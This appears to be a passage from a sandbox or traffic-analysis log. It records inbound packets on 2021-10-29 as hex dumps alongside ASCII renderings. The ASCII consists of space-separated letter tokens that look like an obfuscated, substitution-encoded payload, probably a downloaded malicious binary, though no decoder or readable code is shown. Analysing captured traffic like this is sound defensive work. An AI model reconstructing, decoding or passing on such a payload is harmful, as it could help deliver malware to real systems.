2021-10-29 18:10:59 UTC	1853	IN	Data Raw: 20 4f 78 59 20 4f 51 52 20 45 4b 20 4f 78 74 20 59 4b 20 4f 45 78 20 52 6b 20 4f 6f 6f 20 4f 4f 74 20 4f 78 74 20 4f 4f 6f 20 45 6b 20 45 6f 20 59 4f 20 59 4b 20 6b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4b 52 20 59 78 20 4b 51 20 59 78 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 59 78 20 4f 4f 6f 20 59 4f 20 4b 6b 20 52 6f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 52 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 51 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 45 4b 20 4b 6b 20 59 78 20 59 4b 20 59 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 51 6b 20 59 78 20 4b 6b 20 59 78 20 6b 59 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 6f 4f 20 4f 4f 6f 20 59 78 20 4b 6b 20 6b 52 20 59 4b 20 6b 59 20 4f 4f 4b 20 51 51 20 4f 78 51 20 4f 4f 6f 20 59 78 Data Ascii: OxY OQR EK Oxt YK OEx Rk Ooo OOt Oxt OOo Ek Eo YO YK ko OOK OOt OxQ KR Yx KQ Yx Rx kK OOK OOt Yx OOo YO Kk Ro YK kK OOK oO OxQ OOE Yx Ro Yx YK kK OQ OOt Oxk OOo EK Kk Yx YK YK OOK OOR OxQ Qk Yx Kk Yx kY kK OOY OOt OoO OOo Yx Kk kR YK kY OOK QQ OxQ OOo Yx
2021-10-29 18:10:59 UTC	1857	IN	Data Raw: 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 4f 51 52 20 4b 6b 20 4b 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 4f 45 78 20 4f 78 51 20 4f 78 59 20 59 78 20 59 78 20 59 78 20 6f 78 59 20 6b 4b 20 4f 78 59 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 78 52 20 4b 6b 20 4b 4f 20 59 4b 20 6b 52 20 4f 4f 4b 20 4f 45 52 20 4f 78 51 20 4f 78 51 20 59 78 20 4b 51 20 59 78 20 6f 78 78 20 6b 4b 20 4f 4f 4f 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 6f 78 59 20 4b 6b 20 4b 59 20 59 4b 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 4f 20 59 78 20 59 78 20 59 78 20 4b 4b 20 6b 59 20 6b 45 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 4b 4f 20 4b 51 20 4f 51 20 59 4b 20 6b 52 20 4f 4f 4b 20 4f 78 59 20 4f 78 6b 20 6b 45 20 59 78 20 4b 51 20 59 78 20 4b 45 20 6b 59 20 6b 4f 20 4f 4f 74 20 Data Ascii: OOt OOO OOo OQR Kk KE YK kY OOK OEx OxQ OxY Yx Yx Yx oxY kK OxY OOt Oxk OOo oxR Kk KO YK kR OOK OER OxQ OxQ Yx KQ Yx oxx kK OOO OOt OOO OOo oxY Kk KY YK kY OOK OOt Oxk OOO Yx Yx Yx KK kY kE OOt Oxk OOo KO KQ OQ YK kR OOK OxY Oxk kE Yx KQ Yx KE kY kO OOt
2021-10-29 18:10:59 UTC	1861	IN	Data Raw: 20 4f 6f 74 20 4f 51 59 20 51 51 20 6b 78 20 52 4f 20 6f 59 20 52 4f 20 4b 20 51 4f 20 74 45 20 4f 6f 6f 20 6f 59 6f 20 4f 6f 74 20 4f 4f 74 20 4b 51 20 4f 4b 74 20 59 59 20 4f 74 52 20 74 6f 20 4f 4f 52 20 4f 78 51 20 4b 6b 20 59 4f 20 4f 6f 51 20 59 4f 20 45 52 20 6f 45 20 4f 4f 6f 20 4f 4f 74 20 4b 52 20 4f 4f 45 20 4f 6f 51 20 4b 51 20 45 20 4f 78 20 6b 52 20 4f 4f 4b 20 4b 51 20 6f 6f 4b 20 4f 4f 45 20 59 78 20 4f 74 6f 20 59 78 20 51 6b 20 6f 4f 74 20 4f 4f 59 20 4f 4f 74 20 6f 4b 78 20 4f 4f 6f 20 4f 6b 6f 20 4f 6b 51 20 59 4f 20 59 4b 20 6f 78 6f 20 4f 4f 4b 20 6f 6f 59 20 6f 6f 4b 20 4f 4f 45 20 59 78 20 4f 74 59 20 59 78 20 4f 59 4b 20 6f 4f 74 20 4f 4f 59 20 4f 4f 74 20 6f 78 59 20 4f 4f 6f 20 45 78 20 4f 51 78 20 59 4f 20 59 4b 20 6f 4b 59 20 Data Ascii: Oot OQY QQ kx RO oY RO K QO tE Ooo oYo Oot OOt KQ OKt YY OtR to OOR OxQ Kk YO OoQ YO ER oE OOo OOt KR OOE OoQ KQ E Ox kR OOK KQ ooK OOE Yx Oto Yx Qk oOt OOY OOt oKx OOo Oko OkQ YO YK oxo OOK ooY ooK OOE Yx OtY Yx OYK oOt OOY OOt oxY OOo Ex OQx YO YK oKY
2021-10-29 18:10:59 UTC	1864	IN	Data Raw: 4f 74 20 45 52 20 4f 4f 6f 20 59 6f 20 4b 6b 20 4f 6f 78 20 59 4b 20 6b 6f 20 4f 4f 4b 20 52 6f 20 4f 78 51 20 4f 4f 6b 20 59 78 20 4f 6f 4b 20 59 78 20 4b 6b 20 6b 4b 20 52 45 20 4f 4f 74 20 4f 78 74 20 4f 4f 6f 20 4f 6f 4b 20 4b 6b 20 59 6f 20 59 4b 20 6f 74 20 4f 4f 4b 20 4f 4f 59 20 4f 78 51 20 45 6f 20 59 78 20 59 6b 20 59 78 20 4f 78 45 20 6b 4b 20 4f 6f 52 20 4f 4f 74 20 52 45 20 4f 4f 6f 20 52 6f 20 4b 6b 20 51 74 20 59 4b 20 6b 51 20 4f 4f 4b 20 45 45 20 4f 78 51 20 4f 6f 59 20 59 78 20 4f 78 4f 20 59 78 20 45 59 20 6b 4b 20 45 52 20 4f 4f 74 20 4f 6f 6f 20 4f 4f 6f 20 4f 78 4f 20 4b 6b 20 4f 51 20 59 4b 20 4f 6f 20 4f 4f 4b 20 6b 74 20 4f 78 51 20 4b 4f 20 59 78 20 4f 6b 20 59 78 20 4f 78 6b 20 6b 4b 20 6b 52 20 4f 4f 74 20 59 4b 20 4f 4f 6f 20 Data Ascii: Ot ER OOo Yo Kk Oox YK ko OOK Ro OxQ OOk Yx OoK Yx Kk kK RE OOt Oxt OOo OoK Kk Yo YK ot OOK OOY OxQ Eo Yx Yk Yx OxE kK OoR OOt RE OOo Ro Kk Qt YK kQ OOK EE OxQ OoY Yx OxO Yx EY kK ER OOt Ooo OOo OxO Kk OQ YK Oo OOK kt OxQ KO Yx Ok Yx Oxk kK kR OOt YK OOo
2021-10-29 18:10:59 UTC	1880	IN	Data Raw: 20 4b 20 52 20 45 20 51 52 20 59 4f 20 74 78 20 4b 52 20 52 74 20 4b 20 4f 4f 45 20 59 20 4f 4f 59 20 6f 6f 20 59 4b 20 59 4b 20 4b 45 20 74 6f 20 4f 4f 52 20 4f 4f 74 20 4f 78 20 4f 4f 52 20 4f 78 6b 20 52 52 20 52 59 20 4b 74 20 52 74 20 59 20 51 20 4f 4f 59 20 59 20 4f 78 4f 20 59 4b 20 74 78 20 51 4b 20 59 4f 20 4f 4f 59 20 4b 6b 20 4f 4f 59 20 4f 4b 20 6f 4f 20 74 4f 20 59 4f 20 51 59 20 59 6f 20 4f 4f 45 20 6b 20 4b 20 4f 4f 59 20 51 51 20 74 4b 20 52 6b 20 4b 78 20 59 4f 20 59 20 45 20 4b 20 52 20 4f 52 20 52 74 20 4b 51 20 4b 4f 20 59 78 20 4f 4f 51 20 78 20 4f 4f 20 4f 4f 6f 20 4f 78 6b 20 52 52 20 4b 6b 20 4b 78 20 59 45 20 4f 4f 45 20 4f 4f 74 20 52 20 4f 4b 20 4f 74 20 59 4f 20 4f 4f 74 20 4b 78 20 59 78 20 4f 4f 6b 20 78 20 59 20 45 20 51 6b Data Ascii: K R E QR YO tx KR Rt K OOE Y OOY oo YK YK KE to OOR OOt Ox OOR Oxk RR RY Kt Rt Y Q OOY Y OxO YK tx QK YO OOY Kk OOY OK oO tO YO QY Yo OOE k K OOY QQ tK Rk Kx YO Y E K R OR Rt KQ KO Yx OOQ x OO OOo Oxk RR Kk Kx YE OOE OOt R OK Ot YO OOt Kx Yx OOk x Y E Qk
2021-10-29 18:10:59 UTC	1896	IN	Data Raw: 6f 45 20 45 6b 20 4f 4b 20 4f 74 20 51 6f 20 51 4b 20 51 4f 20 6b 6b 20 59 4f 20 4f 4f 4b 20 45 6b 20 6f 78 20 45 20 74 78 20 6b 59 20 51 59 20 6f 4b 20 52 20 74 20 6f 74 20 6f 59 20 6f 59 20 51 59 20 6b 59 20 6f 6b 20 51 52 20 4b 51 20 78 20 52 20 4b 20 45 4f 20 51 6f 20 6b 51 20 51 6f 20 6b 4f 20 6b 4b 20 59 6f 20 74 20 6f 20 6f 51 20 4f 4f 6f 20 6b 4f 20 52 59 20 6b 45 20 51 6b 20 74 78 20 45 6b 20 6f 59 20 6f 20 51 4f 20 51 4b 20 6b 59 20 59 4b 20 78 20 6f 51 20 45 6b 20 6f 59 20 6f 20 51 4f 20 51 4b 20 6b 59 20 59 4b 20 4f 51 20 6f 45 20 4f 20 52 6f 20 4b 20 52 4b 20 6b 51 20 51 6f 20 6b 4f 20 6b 4b 20 59 45 20 4f 52 20 6f 59 20 59 52 20 6b 74 20 74 6f 20 51 74 20 52 52 20 45 6b 20 6f 74 20 6f 74 20 4f 78 20 4f 4f 6f 20 51 74 20 52 51 20 6b 78 20 52 Data Ascii: oE Ek OK Ot Qo QK QO kk YO OOK Ek ox E tx kY QY oK R t ot oY oY QY kY ok QR KQ x R K EO Qo kQ Qo kO kK Yo t o oQ OOo kO RY kE Qk tx Ek oY o QO QK kY YK x oQ Ek oY o QO QK kY YK OQ oE O Ro K RK kQ Qo kO kK YE OR oY YR kt to Qt RR Ek ot ot Ox OOo Qt RQ kx R
2021-10-29 18:10:59 UTC	1912	IN	Data Raw: 6f 4f 20 51 59 20 6b 59 20 51 6f 20 52 52 20 6b 4b 20 59 59 20 6f 74 20 6f 74 20 6f 59 20 52 4b 20 51 59 20 51 6f 20 51 4f 20 4b 51 20 6f 6b 20 4f 20 4f 78 51 20 4b 78 20 51 59 20 51 6f 20 4f 4f 6b 20 6b 51 20 59 59 20 74 20 6f 4b 20 6b 20 45 78 20 74 78 20 4b 6b 20 4f 6f 4b 20 6b 45 20 45 6f 20 59 20 6f 52 20 45 4f 20 6f 74 20 4f 6f 45 20 51 4b 20 74 78 20 6b 45 20 45 6b 20 6f 78 20 6f 78 20 4f 4b 20 6f 4f 20 4f 4f 45 20 51 59 20 51 59 20 74 78 20 59 51 20 6f 6b 20 4f 52 20 45 20 4b 20 59 78 20 51 51 20 74 59 20 52 51 20 45 6f 20 6f 45 20 6f 4b 20 52 74 20 59 4f 20 51 45 20 51 6f 20 51 4b 20 6b 45 20 59 59 20 52 20 6f 6b 20 6f 20 45 78 20 52 59 20 45 78 20 4f 4f 74 20 6b 45 20 59 6b 20 6f 45 20 74 20 4b 20 4f 51 20 6f 6b 20 4f 6f 4f 20 4f 4f 51 20 6b 6b Data Ascii: oO QY kY Qo RR kK YY ot ot oY RK QY Qo QO KQ ok O OxQ Kx QY Qo OOk kQ YY t oK k Ex tx Kk OoK kE Eo Y oR EO ot OoE QK tx kE Ek ox ox OK oO OOE QY QY tx YQ ok OR E K Yx QQ tY RQ Eo oE oK Rt YO QE Qo QK kE YY R ok o Ex RY Ex OOt kE Yk oE t K OQ ok OoO OOQ kk
2021-10-29 18:10:59 UTC	1928	IN	Data Raw: 6f 20 6b 74 20 4b 6b 20 51 59 20 59 4b 20 4f 6f 6f 20 4f 4f 4b 20 59 74 20 4f 78 51 20 6f 59 20 59 78 20 51 4b 20 59 78 20 74 4f 20 6b 4b 20 52 4f 20 4f 4f 74 20 45 6f 20 4f 4f 6f 20 4f 6b 20 4b 6b 20 4f 78 4f 20 59 4b 20 52 4f 20 4f 4f 4b 20 6f 74 20 4f 78 51 20 45 59 20 59 78 20 74 45 20 59 78 20 52 51 20 6b 4b 20 52 20 4f 4f 74 20 6b 20 4f 4f 6f 20 51 59 20 4b 6b 20 6f 6b 20 59 4b 20 6f 4b 20 4f 4f 4b 20 6f 6b 20 4f 78 51 20 45 78 20 59 78 20 52 59 20 59 78 20 59 20 6b 4b 20 52 4b 20 4f 4f 74 20 59 78 20 4f 4f 6f 20 4f 78 78 20 4b 6b 20 51 4f 20 59 4b 20 4b 6b 20 4f 4f 4b 20 4f 52 20 4f 78 51 20 45 4f 20 59 78 20 4f 4f 59 20 59 78 20 6b 51 20 6b 4b 20 45 45 20 4f 4f 74 20 6f 78 20 4f 4f 6f 20 52 59 20 4b 6b 20 74 78 20 59 4b 20 4b 51 20 4f 4f 4b 20 6f Data Ascii: o kt Kk QY YK Ooo OOK Yt OxQ oY Yx QK Yx tO kK RO OOt Eo OOo Ok Kk OxO YK RO OOK ot OxQ EY Yx tE Yx RQ kK R OOt k OOo QY Kk ok YK oK OOK ok OxQ Ex Yx RY Yx Y kK RK OOt Yx OOo Oxx Kk QO YK Kk OOK OR OxQ EO Yx OOY Yx kQ kK EE OOt ox OOo RY Kk tx YK KQ OOK o
2021-10-29 18:10:59 UTC	1944	IN	Data Raw: 6b 6b 20 4f 6f 4b 20 6f 4b 6f 20 45 20 45 4b 20 4f 74 51 20 52 45 20 52 59 20 51 52 20 6f 4b 59 20 6f 78 78 20 4f 4f 45 20 45 6f 20 4f 74 6b 20 74 20 45 59 20 52 59 20 51 52 20 6f 4b 59 20 6f 4b 4b 20 4f 4f 45 20 45 51 20 45 4b 20 4f 74 51 20 59 4f 20 6b 4f 20 51 52 20 6f 4b 59 20 6f 78 4b 20 51 6b 20 4f 74 51 20 59 74 20 4b 52 20 4b 6f 20 74 78 20 6f 4b 6f 20 4f 45 6f 20 4f 6f 4f 20 4f 4f 6f 20 59 4b 20 45 4b 20 4f 74 52 20 6f 74 20 52 51 20 6f 4b 78 20 52 6b 20 51 51 20 51 6b 20 4f 74 51 20 59 74 20 45 51 20 45 52 20 6f 4f 6f 20 6f 4f 59 20 4f 4f 52 20 4f 6f 74 20 6f 4b 6f 20 74 20 45 6f 20 45 51 20 45 52 20 6f 4f 45 20 4f 4f 51 20 4f 4f 6f 20 4f 6f 74 20 6f 4b 78 20 4f 4b 74 20 45 4b 20 4f 74 51 20 52 45 20 74 6f 20 4f 4f 78 20 4f 78 45 20 6f 45 74 20 Data Ascii: kk OoK oKo E EK OtQ RE RY QR oKY oxx OOE Eo Otk t EY RY QR oKY oKK OOE EQ EK OtQ YO kO QR oKY oxK Qk OtQ Yt KR Ko tx oKo OEo OoO OOo YK EK OtR ot RQ oKx Rk QQ Qk OtQ Yt EQ ER oOo oOY OOR Oot oKo t Eo EQ ER oOE OOQ OOo Oot oKx OKt EK OtQ RE to OOx OxE oEt
2021-10-29 18:10:59 UTC	1960	IN	Data Raw: 20 51 4b 20 74 78 20 51 59 20 45 6f 20 4f 4f 20 6b 45 20 4f 78 6b 20 4f 4f 6f 20 4b 6b 20 4b 6b 20 4f 78 6f 20 59 52 20 6b 78 20 52 78 20 6f 78 20 78 20 6f 4f 20 59 45 20 4f 4f 74 20 51 6f 20 52 52 20 52 4f 20 52 20 4f 6f 20 51 78 20 45 52 20 52 78 20 59 74 20 4f 6f 4b 20 6b 74 20 59 74 20 6f 45 20 52 20 6f 51 20 4f 74 20 6b 4f 20 6b 59 20 59 6f 20 4f 4f 59 20 59 6b 20 52 20 6f 6b 20 6f 59 20 51 20 45 52 20 4b 51 20 59 78 20 59 59 20 6b 4b 20 45 6b 20 4f 6f 45 20 4f 78 59 20 52 6f 20 6b 45 20 51 45 20 6b 74 20 52 78 20 6f 4b 20 6f 51 20 6f 6f 20 4f 6f 20 6f 6b 20 51 74 20 52 6b 20 6b 45 20 52 52 20 4b 51 20 51 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 78 78 20 52 78 20 59 78 20 6f 52 20 4f 51 20 6f 4b 20 6b 20 4f 4f 51 20 4f 6f 59 20 52 74 20 Data Ascii: QK tx QY Eo OO kE Oxk OOo Kk Kk Oxo YR kx Rx ox x oO YE OOt Qo RR RO R Oo Qx ER Rx Yt OoK kt Yt oE R oQ Ot kO kY Yo OOY Yk R ok oY Q ER KQ Yx YY kK Ek OoE OxY Ro kE QE kt Rx oK oQ oo Oo ok Qt Rk kE RR KQ Qt OOR OxQ OOE Yx Oxx Rx Yx oR OQ oK k OOQ OoY Rt
2021-10-29 18:10:59 UTC	1976	IN	Data Raw: 4f 4b 20 4b 4b 20 4f 78 51 20 52 74 20 59 78 20 74 6f 20 59 78 20 4f 78 4f 20 6b 4b 20 4f 52 20 4f 4f 74 20 51 59 20 4f 4f 6f 20 74 20 4b 6b 20 52 52 20 59 4b 20 59 4b 20 4f 4f 4b 20 6f 59 20 4f 78 51 20 6f 78 20 59 78 20 6b 6b 20 59 78 20 6b 4b 20 6b 4b 20 59 45 20 4f 4f 74 20 6f 4f 20 4f 4f 6f 20 51 4b 20 4b 6b 20 6b 52 20 59 4b 20 6f 4f 20 4f 4f 4b 20 59 20 4f 78 51 20 6f 4b 20 59 78 20 6b 4f 20 59 78 20 51 74 20 6b 4b 20 45 78 20 4f 4f 74 20 78 20 4f 4f 6f 20 4f 78 74 20 4b 6b 20 51 59 20 59 4b 20 51 74 20 4f 4f 4b 20 6f 6b 20 4f 78 51 20 4b 6f 20 59 78 20 51 45 20 59 78 20 4f 59 20 6b 4b 20 6f 74 20 4f 4f 74 20 4f 4b 20 4f 4f 6f 20 4f 4f 74 20 4b 6b 20 45 20 59 4b 20 59 52 20 4f 4f 4b 20 4b 74 20 4f 78 51 20 45 51 20 59 78 20 52 6b 20 59 78 20 74 78 Data Ascii: OK KK OxQ Rt Yx to Yx OxO kK OR OOt QY OOo t Kk RR YK YK OOK oY OxQ ox Yx kk Yx kK kK YE OOt oO OOo QK Kk kR YK oO OOK Y OxQ oK Yx kO Yx Qt kK Ex OOt x OOo Oxt Kk QY YK Qt OOK ok OxQ Ko Yx QE Yx OY kK ot OOt OK OOo OOt Kk E YK YR OOK Kt OxQ EQ Yx Rk Yx tx
2021-10-29 18:10:59 UTC	1992	IN	Data Raw: 20 78 20 78 20 78 20 78 20 6f 59 4b 20 4f 6f 20 4b 20 78 20 59 74 20 4f 78 20 78 20 78 20 78 20 6f 59 4b 20 4f 6f 20 4b 20 78 20 4f 4f 4f 20 6f 74 20 78 20 78 20 4f 78 20 78 20 6f 6f 78 20 45 6f 20 6f 45 6f 20 45 20 78 20 78 20 4b 78 20 6f 6b 20 78 20 78 20 4f 78 20 78 20 78 20 78 20 6f 59 4b 20 4f 6f 20 6f 20 78 20 45 6f 20 4f 20 78 20 78 20 78 20 4b 78 20 6f 51 20 78 20 78 20 4f 78 20 78 20 6f 6f 4f 20 6f 6b 20 78 20 78 20 78 20 45 74 20 4b 78 20 51 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 59 20 78 20 78 20 4b 78 20 74 20 78 20 78 20 4f 78 20 6f 6f 4f 20 78 20 78 20 78 20 78 20 78 20 78 20 59 52 20 6f 78 52 20 6f 59 59 20 6f 59 59 20 6f 59 59 20 6f 6f 4f 20 6f 4f 20 78 20 78 20 78 20 45 74 20 4b 78 20 51 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 Data Ascii: x x x x oYK Oo K x Yt Ox x x x oYK Oo K x OOO ot x x Ox x oox Eo oEo E x x Kx ok x x Ox x x x oYK Oo o x Eo O x x x Kx oQ x x Ox x ooO ok x x x Et Kx Q x x Ox oYK OK Y x x Kx t x x Ox ooO x x x x x x YR oxR oYY oYY oYY ooO oO x x x Et Kx Q x x Ox oYK OK
2021-10-29 18:10:59 UTC	2008	IN	Data Raw: 6f 59 59 20 6f 6f 4f 20 4b 51 20 78 20 78 20 78 20 4f 4f 74 20 45 4f 20 78 20 78 20 4f 20 6f 78 20 6f 59 4b 20 45 20 6f 59 4b 20 4f 6f 20 78 20 78 20 45 6f 20 78 20 78 20 78 20 78 20 6f 59 4b 20 45 20 51 59 20 6f 59 4b 20 4f 6f 20 4f 20 78 20 45 6f 20 78 20 78 20 78 20 78 20 6f 59 4b 20 4f 20 51 59 20 6f 59 4b 20 4f 74 20 4f 4f 52 20 45 4f 20 78 20 78 20 4f 20 4b 78 20 51 20 78 20 78 20 4f 78 20 6f 6f 4f 20 4f 59 45 20 6f 59 59 20 6f 59 59 20 6f 59 59 20 45 6f 20 59 4f 20 78 20 4f 78 20 4f 6f 6b 20 4b 78 20 4f 78 20 78 20 78 20 4f 78 20 4f 6f 6f 20 6f 59 4b 20 4f 6f 20 4f 20 78 20 59 74 20 52 20 78 20 78 20 78 20 4b 78 20 74 20 78 20 78 20 4f 78 20 78 20 4b 6f 20 78 20 52 59 20 6f 6b 20 78 20 78 20 4f 20 78 20 78 20 78 20 52 20 78 20 78 20 78 20 6f 51 20 Data Ascii: oYY ooO KQ x x x OOt EO x x O ox oYK E oYK Oo x x Eo x x x x oYK E QY oYK Oo O x Eo x x x x oYK O QY oYK Ot OOR EO x x O Kx Q x x Ox ooO OYE oYY oYY oYY Eo YO x Ox Ook Kx Ox x x Ox Ooo oYK Oo O x Yt R x x x Kx t x x Ox x Ko x RY ok x x O x x x R x x x oQ
2021-10-29 18:10:59 UTC	2024	IN	Data Raw: 4b 20 4f 4b 20 59 20 78 20 45 6f 20 4b 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4f 4f 59 20 4f 78 78 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 52 20 78 20 45 6f 20 59 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4b 45 20 52 20 6f 59 4b 20 6f 6f 20 59 4b 20 78 20 78 20 4f 20 6f 59 4b 20 4f 6f 20 52 20 78 20 6f 59 4b 20 4f 6f 20 59 20 78 20 4f 4f 4f 20 4f 78 4f 20 78 20 78 20 4f 78 20 45 6b 20 45 6f 20 52 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 6f 59 4b 20 4f 6f 20 52 20 78 20 4f 4f 4b 20 52 74 20 4f 78 20 4b 20 4f 4f 6f 20 4f 4f 4f 20 4f 78 4f 20 78 20 78 20 4f 78 20 45 6b 20 45 6f 20 74 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 6f 59 4b 20 4f 6f 20 52 20 78 20 6f 59 4b 20 4f 6f 20 4b 20 78 20 4f 4f 4f 20 Data Ascii: K OK Y x Eo K x x x oYK OK E x OOY Oxx x x Ox oYK OK R x Eo Y x x x oYK OK E x KE R oYK oo YK x x O oYK Oo R x oYK Oo Y x OOO OxO x x Ox Ek Eo R x x x oYK OK E x oYK Oo R x OOK Rt Ox K OOo OOO OxO x x Ox Ek Eo t x x x oYK OK E x oYK Oo R x oYK Oo K x OOO
2021-10-29 18:10:59 UTC	2040	IN	Data Raw: 20 6b 6b 20 74 4f 20 45 6f 20 4b 20 78 20 78 20 78 20 51 6b 20 51 52 20 6f 59 4b 20 51 20 78 20 78 20 74 74 20 45 6f 20 6f 20 78 20 78 20 78 20 6b 6b 20 74 4f 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 51 6b 20 51 52 20 6f 59 4b 20 51 20 78 20 78 20 74 74 20 45 6f 20 45 20 78 20 78 20 78 20 6b 6b 20 74 78 20 45 6f 20 6f 78 20 78 20 78 20 78 20 51 6b 20 51 52 20 6f 59 4b 20 4f 4b 20 78 20 78 20 6f 59 4b 20 51 20 78 20 78 20 45 74 20 74 74 20 45 6f 20 4b 20 78 20 78 20 78 20 6b 6b 20 6f 6f 45 20 59 52 20 59 74 20 78 20 78 20 78 20 6f 59 4b 20 4f 6f 20 4f 20 78 20 45 6f 20 4f 52 20 78 20 78 20 78 20 51 59 20 59 6b 20 45 4f 20 78 20 78 20 78 20 6f 59 4b 20 51 20 78 20 78 20 45 74 20 74 74 20 45 6f 20 4f 20 78 20 78 20 78 20 6b 6b 20 6f 6f 45 20 6f 59 4b 20 51 20 Data Ascii: kk tO Eo K x x x Qk QR oYK Q x x tt Eo o x x x kk tO Eo Oo x x x Qk QR oYK Q x x tt Eo E x x x kk tx Eo ox x x x Qk QR oYK OK x x oYK Q x x Et tt Eo K x x x kk ooE YR Yt x x x oYK Oo O x Eo OR x x x QY Yk EO x x x oYK Q x x Et tt Eo O x x x kk ooE oYK Q
2021-10-29 18:10:59 UTC	2056	IN	Data Raw: 51 20 45 4f 20 4f 4f 74 20 4f 59 74 20 45 74 20 45 6f 20 4f 6b 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 6b 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 4f 6b 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4f 6b 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 4f 20 4f 6b 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 6f 20 4f 74 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 4f 74 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 4f 74 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 4f 74 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 4f 20 4f 74 20 45 4f 20 4f 4f 4f 20 4f 59 74 20 Data Ascii: Q EO OOt OYt Et Eo Ok x x x EO YE OYt Et Eo Ok x x x EO KQ OYt Et Eo Ok x x x EO Qt OYt Et Eo Ok x x x EO YO OYt Et EO Ok EO Oxx OYt Et Eo Ot x x x EO Oxo OYt Et Eo Ot x x x EO Oxo OYt Et Eo Ot x x x EO YO OYt Et Eo Ot x x x EO QQ OYt Et EO Ot EO OOO OYt
2021-10-29 18:10:59 UTC	2072	IN	Data Raw: 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 6f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 6f 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 6f 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 6f 4b 20 45 4f 20 4f 78 59 20 4f 59 74 20 45 74 20 45 6f 20 4f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 4f 20 78 20 78 20 78 20 45 4f 20 59 78 20 4f 59 74 20 45 74 20 45 6f 20 4f 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 6f 45 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 59 Data Ascii: EO QQ OYt Et Eo o x x x EO YE OYt Et Eo o x x x EO Yt OYt Et Eo o x x x EO KQ OYt Et oK EO OxY OYt Et Eo O x x x EO YE OYt Et Eo O x x x EO OxO OYt Et Eo O x x x EO Yx OYt Et Eo O x x x EO QQ OYt Et oE EO Qt OYt Et Eo x x x x EO Kk OYt Et Eo x x x x EO Y
2021-10-29 18:10:59 UTC	2088	IN	Data Raw: 20 45 4f 20 78 20 78 20 78 20 45 4f 20 59 78 20 4f 59 74 20 45 74 20 45 6f 20 45 4f 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 45 4f 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 45 4f 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 45 78 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 6f 20 45 78 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 45 78 20 78 20 78 20 78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 45 6f 20 45 78 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 4f 20 45 78 20 45 4f 20 45 6f 20 4f 59 74 20 45 74 20 45 6f 20 6f 51 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 6f 51 20 78 20 78 20 78 20 45 4f 20 59 4f 20 Data Ascii: EO x x x EO Yx OYt Et Eo EO x x x EO Qk OYt Et Eo EO x x x EO Kk OYt Et EO EO EO Qt OYt Et Eo Ex x x x EO YR OYt Et Eo Ex x x x EO Yt OYt Et Eo Ex x x x EO Oxx OYt Et Eo Ex x x x EO Yt OYt Et EO Ex EO Eo OYt Et Eo oQ x x x EO Kk OYt Et Eo oQ x x x EO YO
